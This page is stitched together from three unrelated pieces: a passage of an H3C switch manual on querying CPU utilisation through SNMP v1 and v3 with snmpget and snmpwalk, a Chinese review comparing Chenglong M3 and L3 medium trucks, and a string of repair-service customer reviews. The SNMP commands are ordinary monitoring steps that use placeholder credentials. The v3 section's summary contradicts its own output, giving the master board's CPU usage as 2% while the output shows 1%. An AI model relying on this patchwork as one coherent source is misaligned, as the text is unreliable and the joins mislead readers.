l compatible,则需要使用h3c-entity-ext.mib文件中的h3cEntityExtCpuUsage节点,该节点的详细描述请参见表3。
表2 hh3cEntityExtCpuUsage对象描述表
使用SNMP v1或者v2c版本配置基本相同,本文以SNMP v1为例。如果网络上运行的SNMP是v2c版本的,则只需将本举例中snmpget工具命令中的-v参数的值改为2c即可。4.1组网需求
l 网管工作站(NMS)与设备(Agent)通过以太网相连。
l NMS上运行Net-SNMP软件,要求在NMS上通过SNMP v1、团体名public能够查看Agent最后一分钟内的CPU利用率。
图1 使用SNMP v1、v2c查看设备CPU利用率组网图
l 在Agent上配置接口参数:指定接口的IP地址,保证Agent和NMS路由的可达。
l Agent上需要完成SNMP功能基本配置(包括SNMP的版本、SNMP团体名),使得NMS和Agent之间可以互访。
l 查看Agent支持的MIB风格,确定需要使用的MIB对象。
l 将Net-SNMP软件中的snmpget.exe和snmpwalk.exe文件放到NMS的C:\usr\bin路径下,通过MIB对象查询Agent最后1分钟内CPU利用率。
# 配置Agent的IP地址为192.168.1.56/24,并确保Agent与NMS之间路由可达。
l 如果Ethernet1/1是三层接口,请进行以下配置:
<Sysname> system-view
[Sysname] interface ethernet 1/1
[Sysname-Ethernet1/1] ip address 192.168.1.56 24
[Sysname-Ethernet1/1] quit
l 如果Ethernet1/1是二层接口,请进行以下配置:
<Sysname> system-view
[Sysname] vlan 2
[Sysname-vlan2] port Ethernet 1/1
[Sysname-vlan2] quit
[Sysname] interface vlan-interface 2
[Sysname-Vlan-interface2] ip address 192.168.1.56 24
[Sysname-Vlan-interface2] quit
# 配置SNMP版本。为了防止Agent和NMS因为版本问题导致不能建立SNMP连接,建议将版本参数配置为all,表示支持v1、v2c、v3三个版本。
[Sysname] snmp-agent sys-info version all
# 配置可读属性团体名。
[Sysname] snmp-agent community read public
# 查看设备当前支持的MIB文件风格,以便决定使用哪个MIB对象。
[Sysname] display mib-style
Current MIB style: new
Next reboot MIB style: new
以上显示信息表明,设备当前支持的MIB文件风格为new,所以使用hh3cEntityExtCpuUsage对象,OID为1.3.6.1.4.1.25506.2.6.1.1.1.1.6。(如果Current MIB style显示为compatible,则下面的配置步骤中需要将1.3.6.1.4.1.25506.2.6.1.1.1.1.6替换为1.3.6.1.4.1.2011.10.2.6.1.1.1.1.6)
(1) 查看CPU的实体编号
使用ENTITY-MIB中的entPhysicalDescr、entPhysicalClass和entPhysicalName对象确定CPU实体的编号。如果使用这些对象不能确定CPU实体的编号,或者想一次查看设备上所有CPU的利用率,可以直接执行4.3.2 (4)查看所有CPU的利用率。
C:\usr\bin> snmpwalk -v 1 -c public 192.168.1.56 1.3.6.1.2.1.47.1.1.1.1.2
iso.3.6.1.2.1.47.1.1.1.1.2.1 = STRING: "H3C S7502E"
iso.3.6.1.2.1.47.1.1.1.1.2.2 = STRING: "Container for Board Modu
iso.3.6.1.2.1.47.1.1.1.1.2.3 = STRING: "Container for Board Modu
iso.3.6.1.2.1.47.1.1.1.1.2.4 = STRING: "Container for Board Modu
iso.3.6.1.2.1.47.1.1.1.1.2.5 = STRING: "Container for Board Modu
iso.3.6.1.2.1.47.1.1.1.1.2.16 = STRING: "Container for Power Mod
iso.3.6.1.2.1.47.1.1.1.1.2.17 = STRING: "Container for Power Mod
iso.3.6.1.2.1.47.1.1.1.1.2.18 = STRING: "Container for Fan Modul
iso.3.6.1.2.1.47.1.1.1.1.2.19 = STRING: "LSQ1MPUA0"
iso.3.6.1.2.1.47.1.1.1.1.2.20 = STRING: "LSQ1MPUA0"
iso.3.6.1.2.1.47.1.1.1.1.2.21 = ""
iso.3.6.1.2.1.47.1.1.1.1.2.33 = STRING: "PSU"
iso.3.6.1.2.1.47.1.1.1.1.2.35 = STRING: "FAN"
……
以上显示信息表明,CPU的实体编号为19和20。如果要确定主用主控板和备用主控板分别对应的实体编号,可以继续执行以下命令:
C:\usr\bin> snmpwalk -v 1 -c public 192.168.1.56 1.3.6.1.2.1.47.1.1.1.1.7
iso.3.6.1.2.1.47.1.1.1.1.7.1 = STRING: "H3C S7502E"
iso.3.6.1.2.1.47.1.1.1.1.7.2 = STRING: "Slot 0"
iso.3.6.1.2.1.47.1.1.1.1.7.3 = STRING: "Slot 1"
iso.3.6.1.2.1.47.1.1.1.1.7.4 = STRING: "Slot 2"
iso.3.6.1.2.1.47.1.1.1.1.7.5 = STRING: "Slot 3"
iso.3.6.1.2.1.47.1.1.1.1.7.16 = STRING: "Slot 14"
iso.3.6.1.2.1.47.1.1.1.1.7.17 = STRING: "Slot 15"
iso.3.6.1.2.1.47.1.1.1.1.7.18 = STRING: "Slot 16"
iso.3.6.1.2.1.47.1.1.1.1.7.19 = STRING: "Master Board 0"
iso.3.6.1.2.1.47.1.1.1.1.7.20 = STRING: "Slave Board 1"
iso.3.6.1.2.1.47.1.1.1.1.7.21 = STRING: "Board 2"
……
以上显示信息表明,主用主控板对应的实体编号为19,备用主控板分别对应的实体编号为20。
(2) 查看主用主控板的CPU利用率
C:\usr\bin> snmpget -v 1 -c public 192.168.1.56 1.3.6.1.4.1.25506.2.6.1.1.1.1.6.19
将返回下面的响应信息:
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.19 = INTEGER: 2
以上信息表明主用主控板的CPU利用率为2%。
(3) 查看备用主控板的CPU利用率
C:\usr\bin> snmpget -v 1 -c public 192.168.1.56 1.3.6.1.4.1.25506.2.6.1.1.1.1.6.20
将返回下面的响应信息:
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.20 = INTEGER: 2
以上信息表明备用主控板的CPU利用率为2%。
(4) 查看所有CPU的利用率
执行snmpwalk工具命令,非零值即为CPU的利用率。
C:\usr\bin> snmpwalk -v 1 -c public 192.168.1.56 1.3.6.1.4.1.25506.2.6.1.1.1.1.6
将返回下面的响应信息:
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.1 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.2 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.3 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.4 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.5 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.16 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.17 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.18 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.19 = INTEGER: 2
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.20 = INTEGER: 2
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.21 = INTEGER: 3
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.33 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.35 = INTEGER: 0
……
以上信息表明,主用主控板(对应实体编号为19)的CPU利用率为2%,备用主控板(对应实体编号为20)的CPU利用率为2%,接口板(对应实体编号为21)的CPU利用率为3%。
l 网管工作站(NMS)与设备(Agent)通过以太网相连。
l NMS上运行Net-SNMP软件,要求在NMS上通过SNMP v3、用户名v3user(认证方式为MD5,认证密码为aaaaaaaaaa,加密算法为DES56,加密密码是bbbbbbbbbb)能够查看Agent最后一分钟内的CPU利用率。
l 在Agent上配置接口参数:指定接口的IP地址,保证Agent和NMS路由的可达。
l Agent上需要完成SNMP功能基本配置(包括SNMP的版本、组、用户、认证和加密参数),使得NMS和Agent之间可以互访。
l 查看Agent支持的MIB风格,确定需要使用的MIB对象。
l 将Net-SNMP软件中的snmpget.exe和snmpwalk.exe文件放到NMS的C:\usr\bin路径下,通过MIB对象查询Agent最后1分钟内CPU利用率。
# 配置Agent的IP地址为192.168.1.56/24,并确保Agent与NMS之间路由可达。
l 如果Ethernet1/1是三层接口,请进行以下配置:
<Sysname> system-view
[Sysname] interface ethernet 1/1
[Sysname-Ethernet1/1] ip address 192.168.1.56 24
[Sysname-Ethernet1/1] quit
l 如果Ethernet1/1是二层接口,请进行以下配置:
<Sysname> system-view
[Sysname] vlan 2
[Sysname-vlan2] port Ethernet 1/1
[Sysname-vlan2] quit
[Sysname] interface vlan-interface 2
[Sysname-Vlan-interface2] ip address 192.168.1.56 24
[Sysname-Vlan-interface2] quit
# 配置SNMP版本。为了防止Agent和NMS因为版本问题导致不能建立SNMP连接,建议将版本参数配置为all,表示支持v1、v2c、v3三个版本。
<Sysname> system-view
[Sysname] snmp-agent sys-info version all
# 设置SNMP参数:使用的用户名为v3user,认证方式为MD5,认证密码为aaaaaaaaaa,加密算法为DES56,加密密码是bbbbbbbbbb。
l 根据实际需要,用户可以自行选择是否对交互的SNMP报文进行认证,是否对交互的SNMP报文进行加密,本举例采用的是既认证又加密;
l 为了让设置的认证、加密密码在设备重启后能够继续生效,这里先将明文密码加密,然后在创建用户时直接使用加密后的密码进行配置。
[Sysname] snmp-agent calculate-password aaaaaaaaaa mode md5 local-engineid
The secret key is: 17CED5A1298DF35A643D81EC14E0E816
[Sysname] snmp-agent calculate-password bbbbbbbbbb mode md5 local-engineid
The secret key is: 5D3250992503990147EEB03B04CF2190
[Sysname] snmp-agent group v3 test
[Sysname] snmp-agent usm-user v3 v3user test cipher authentication-mode md5 17CED5A1298DF35A643D81EC14E0E816 privacy-mode des56 5D3250992503990147EEB03B04CF2190
# 查看设备当前支持的MIB文件风格,以便决定使用哪个MIB对象。
[Sysname] display mib-style
Current MIB style: new
Next reboot MIB style: new
以上显示信息表明,设备当前支持的MIB文件风格为new,所以使用hh3cEntityExtCpuUsage对象,OID为1.3.6.1.4.1.25506.2.6.1.1.1.1.6。(如果Current MIB style显示为compatible,则下面的配置步骤中需要将1.3.6.1.4.1.25506.2.6.1.1.1.1.6替换为1.3.6.1.4.1.2011.10.2.6.1.1.1.1.6)
(1) 查看CPU的实体编号
先使用ENTITY-MIB中的entPhysicalDescr、entPhysicalClass和entPhysicalName对象确定CPU实体的编号。如果使用这些对象不能确定CPU实体的编号,或者想一次查看设备上所有CPU的利用率,可以直接执行5.3.2 (4)查看所有CPU的利用率。
C:\usr\bin> snmpwalk -v 3 -a MD5 -A aaaaaaaaaa -u v3user -x DES -X bbbbbbbbbb 192.168.1.56 1.3.6.1.2.1.47.1.1.1.1.2
iso.3.6.1.2.1.47.1.1.1.1.2.1 = STRING: "H3C S7502E"
iso.3.6.1.2.1.47.1.1.1.1.2.2 = STRING: "Container for Board Modu
iso.3.6.1.2.1.47.1.1.1.1.2.3 = STRING: "Container for Board Modu
iso.3.6.1.2.1.47.1.1.1.1.2.4 = STRING: "Container for Board Modu
iso.3.6.1.2.1.47.1.1.1.1.2.5 = STRING: "Container for Board Modu
iso.3.6.1.2.1.47.1.1.1.1.2.16 = STRING: "Container for Power Mod
iso.3.6.1.2.1.47.1.1.1.1.2.17 = STRING: "Container for Power Mod
iso.3.6.1.2.1.47.1.1.1.1.2.18 = STRING: "Container for Fan Modul
iso.3.6.1.2.1.47.1.1.1.1.2.19 = STRING: "LSQ1MPUA0"
iso.3.6.1.2.1.47.1.1.1.1.2.20 = STRING: "LSQ1MPUA0"
iso.3.6.1.2.1.47.1.1.1.1.2.21 = ""
iso.3.6.1.2.1.47.1.1.1.1.2.33 = STRING: "PSU"
iso.3.6.1.2.1.47.1.1.1.1.2.35 = STRING: "FAN"
……
以上显示信息表明,CPU的实体编号为19和20。如果要确定主用主控板和备用主控板分别对应的实体编号,可以继续执行以下命令:
C:\usr\bin> snmpwalk -v 3 -a MD5 -A aaaaaaaaaa -u v3user -x DES -X bbbbbbbbbb 192.168.1.56 1.3.6.1.2.1.47.1.1.1.1.7
iso.3.6.1.2.1.47.1.1.1.1.7.1 = STRING: "H3C S7502E"
iso.3.6.1.2.1.47.1.1.1.1.7.2 = STRING: "Slot 0"
iso.3.6.1.2.1.47.1.1.1.1.7.3 = STRING: "Slot 1"
iso.3.6.1.2.1.47.1.1.1.1.7.4 = STRING: "Slot 2"
iso.3.6.1.2.1.47.1.1.1.1.7.5 = STRING: "Slot 3"
iso.3.6.1.2.1.47.1.1.1.1.7.16 = STRING: "Slot 14"
iso.3.6.1.2.1.47.1.1.1.1.7.17 = STRING: "Slot 15"
iso.3.6.1.2.1.47.1.1.1.1.7.18 = STRING: "Slot 16"
iso.3.6.1.2.1.47.1.1.1.1.7.19 = STRING: "Master Board 0"
iso.3.6.1.2.1.47.1.1.1.1.7.20 = STRING: "Slave Board 1"
iso.3.6.1.2.1.47.1.1.1.1.7.21 = STRING: "Board 2"
……
以上显示信息表明,主用主控板对应的实体编号为19,备用主控板分别对应的实体编号为20。
(2) 查看主用主控板的CPU利用率
C:\usr\bin> snmpget -v 3 -a MD5 -A aaaaaaaaaa -u v3user -x DES -X bbbbbbbbbb 192.168.1.56 1.3.6.1.4.1.25506.2.6.1.1.1.1.6.19
将返回下面的响应信息:
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.19 = INTEGER: 1
以上信息表明主用主控板的CPU利用率为1%。
(3) 查看备用主控板的CPU利用率
C:\usr\bin> snmpget -v 3 -a MD5 -A aaaaaaaaaa -u v3user -x DES -X bbbbbbbbbb 192.168.1.56 1.3.6.1.4.1.25506.2.6.1.1.1.1.6.20
将返回下面的响应信息:
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.20 = INTEGER: 2
以上信息表明备用主控板的CPU利用率为2%。
(4) 查看所有CPU的利用率
执行snmpwalk工具命令,非零值即为CPU的利用率。
C:\usr\bin> snmpwalk -v 3 -a MD5 -A aaaaaaaaaa -u v3user -x DES -X bbbbbbbbbb 192.168.1.56 1.3.6.1.4.1.25506.2.6.1.1.1.1.6
将返回下面的响应信息:
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.1 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.2 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.3 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.4 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.5 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.16 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.17 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.18 = INTEGER: 0
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.19 = INTEGER: 1
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.20 = INTEGER: 2
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.21 = INTEGER: 3
iso.3.6.1.4.1.25506.2.6.1.1.1.1.6.33 = INTEGER: 0
……
以上信息表明,主用主控板(对应实体编号为19)的CPU利用率为2%,备用主控板(对应实体编号为20)的CPU利用率为2%,接口板(对应实体编号为21)的CPU利用率为3%。
文 | 卡车之家
2017年6月7日,柳汽迎来了首个“柳汽品牌日”。在这个特殊的日子里,柳汽发布了全新城镇物流质惠中卡L3,并提出乘龙中卡平台“双子星”战略。乘龙中卡“双子星”这个名字比较文艺,实际上指的就是两个月前上市发布的新M3+今天发布的L3两款中卡。
目前柳汽商用车板块乘龙家族包括了平头重卡乘龙H7、长头重卡乘龙T7,准重卡乘龙H5、中卡乘龙M3、L3五大系列,未来柳汽还将推出L2蓝牌轻卡系列,具备“轻快好省高颜值”特性。
经过升级的乘龙车型主打高效物流,所有车型均采用家族前脸,设计出自于斯堪尼亚、兰博基尼设计师马克德尚之手。和老乘龙比,新乘龙的前脸存在感高了一个档次。我们在年初也发起了一个《最高颜值中卡》投票,新乘龙M3的得票最高。我觉得乘龙家族中,脸也大线条越粗犷,脸越小越精致,只谈姑娘家个人看法,M3和L3中卡单从外观来看是乘龙家族最好看的驾驶室。
大家都知道,在柳汽上一代产品中,中卡仅有M3一个平台。现在柳汽的新乘龙有了新M3与L3两个不同平台车型,这两个双子星怎么区分?用户想来买柳汽中卡了,该怎么区分怎么选呢?
新M3是由柳汽上代热卖的M3中卡升级而来的产品,定位城际高端物流,主要跑100-200公里运距,属于跑的远的中卡。这个平台相比L3驾驶室更宽,发动机马力更大。其中新M3驾驶室宽度超2200mm,卧铺宽度满足用户对中卡驾驶室的舒适性要求。
乘龙L3驾驶室定位城镇高速物流,又名质惠中卡。首先定位城镇城乡,运输里程在60-100公里,比新M3跑的近。全新L3驾驶室,驾驶室宽度达2100mm,高度达1530mm,比新M3驾驶室窄。柳汽喊L3质惠中卡也是基于新M3对比而来,L3相比新M3,具备高品质的同时,也更实惠,重经济性。
再从车辆大小看,L3和目前市场上的“大轻卡”更接近。不同于市场产品是,其它品牌是通过轻卡平台往“大”、“重”方向扩大变中卡。L3则是柳汽根据做重卡经验而设计做“小”做“轻”的新品,这是乘龙之前没有的平台车型,和市面上的“大轻卡”对标。我们可以把L3看做差不多是“大轻卡”。而M3则是地地道道的中卡。
乘龙本次品牌日展示了两款6米8中卡车型。其中新M3最大允许总质量18吨,整车整备质量7.95吨。而乘龙L3的最大允许总质量为11.99吨,整备质量4.38吨,新M3车型定位拉的更重。
新乘龙平台采用模块化设计,从两个载货车平台下车型的轴距及厢车长度来看,车型结构有很大的相似性,零部件通用性高,不过在轴距方面差异比较大。新M3目前申请公告包含了5100mm、5700mm、6300mm、7100mm。货厢长度可以做到6米8、7米7、8米3、9米8。
L3目前申请的公告包含了3800mm、4200mm、4500mm、4700mm、5100mm轴距车型,货厢长度可以做到5米2、6米2、6米8、7米7,最大车厢只做到7米7。另外针对非普货的改装市场,乘龙L3还会出4米2蓝牌公告。未来随着两个平台产品的丰富,有可能会有更多产品新推出,不过从目前新品看,新M3与L3在6米2和7米7两个货厢长度上重合。
从动力配置看两个平台车型发动机均为国五,其中L3发动机在180马力以下,新M3发动机在180马力以上。新M3动力配置丰富,可以选择东风康明斯四缸ISD180 50;东康六缸ISD210 50/ISB190 50/ISB220 50;玉柴YC4EG185-50;玉柴六缸的YC6JA180-50/YC6JA200-50/YC6JA220-50多款发动机。
变速箱主要为法士特小8档及少数DF6S900。
整个乘龙系列采用低速大扭矩设计,新M3发动机经济转速主要为1300-1600rpm,经济车速为75-91km.h,满足日常行驶时间在75-90km/h物流车型需求。
L3中卡主要配备的是四缸机的乘龙定制黄金动力玉柴YC4S160-50。这款发动机专供乘龙,在出厂前联合设计开发,匹配更好。
发动机主要配备的是方盛4.11/4.875小速比后桥。
变速箱主要为万里扬6TS55F以及8JS75C小八档。乘龙L3发动机经济转速主要为1200-1800rpm,经济车速为64-91km.h,满足日常行驶时间在75-90km/h车型需求。
首先新M3和L3在外观上一眼就可区别。中卡新M3的灰色前进气格栅为3级,中卡L3的灰色进气格栅明显少了,看起来像1.5级。
另外,驾驶室前面罩右侧也有M3和L3标志,能一眼识别。
另外,如果在选配日间行车灯的情况下,乘龙新M3为竖条形日间行车灯。
L3"<>"型号的日间行车灯。
在驾驶室悬置方面,新M3豪华版车型采用中卡少见的全浮式驾驶室悬置,标准版车型采用的是半浮驾驶室悬置。
驾驶室翻转为液压机械翻转。
乘龙L3采用的是固定式减震,驾驶室翻转为扭杆翻转。L3不需要打开前面罩就可直接翻转,扭杆翻转结构更不容易损坏,翻转操作和轻卡相似,比液压机械或者电动翻转机构需要多花点力气。
由于模块化设计,驾驶室内部风格非常相似,驾驶室采用通道式平地板设计,内部空间大,变速箱档杆前移设计,主副驾换乘方便快捷。
不同的是,乘龙新M3驾驶室为气囊座椅。方向盘为豪华版多功能方向盘。
展示的乘龙L3未带多功能方向盘。
在制动系方面,两款车型都采用的是龙骨框架结构驾驶室,是乘龙系列多年的一个重要卖点。乘龙新M3采用的是包含空气处理单元、驻车手阀、制动总泵在内的WABCO阀。
乘龙L3则采用的是国产瑞立阀。在这方面,新M3更下本。不过两个车型储气筒均为铁质储气筒,并未采用铝合金材质。
另外L3采用加宽制动器,标配ABS防抱死系统。新M3标配波浪表面的复合制动鼓,可选择盘式制动器。
两款车型均采用制动自动调整臂。
另外,乘龙L3采用的是铁油箱。乘龙M3采用的是铝合金油箱。
从整体来看乘龙新M3整体看装货能力大于L3,除了绿通普货,适用类似于快递快运网点车型,拉货范围广。根据柳汽介绍,L3是柳汽针对蓝牌轻卡升级开中卡的用户打造。这类用户,刚开始干中卡,货源数量极有可能不如新M3用户,货源结构也不够稳定,一次性上大吨位中卡用车成本会更高,选个小一点儿的L3风险更小更合适。
另外从价格方面看,新M3定位偏长途,驾驶室更大舒适性更好配置更高,价格比L3贵了1万元左右。对于创业型车主,两款中卡功能相同,配置不同但差异不大,L3购车成本更低,性价比更高。而物流公司货源结构更好,需要拉得多拉的重,在选择中卡的时候就可以考虑M3。
维修师傅服务态度很好,快速的解决了问题,维修速度很快很专业
不知道是因为什么原因,师傅上门来给我检查了,告诉我了是什么原因,什么问题,然后我就让他修了,修理的很好,价格收费什么的也很合理
师傅服务态度很好,按约定好的时间很准时到了,维修很专业,一会儿功夫就给修好了,现在终于可以正常运作了
师父上门维修特别快,很仔细很认真,工作态度端正,而且其他问题也能帮忙处理没有收其他费用很满意
预约了师傅马上来上门来了,费用还是可以接受的,师傅态度做事不错
有专业的技术的人员,都拥有专业的培训,服务质量好,态度满意,价格合理
收费合理,师傅上门准时。态度挺好
找了师傅上门,检查后说是线路故障了,换了一下,半个小时就修好了,很专业
下单后师傅很快就联系我了,跟师傅电话聊好价格就上门了,换了显示面板、目前没有再继续乱响。
已修好,师傅服务周到,态度很好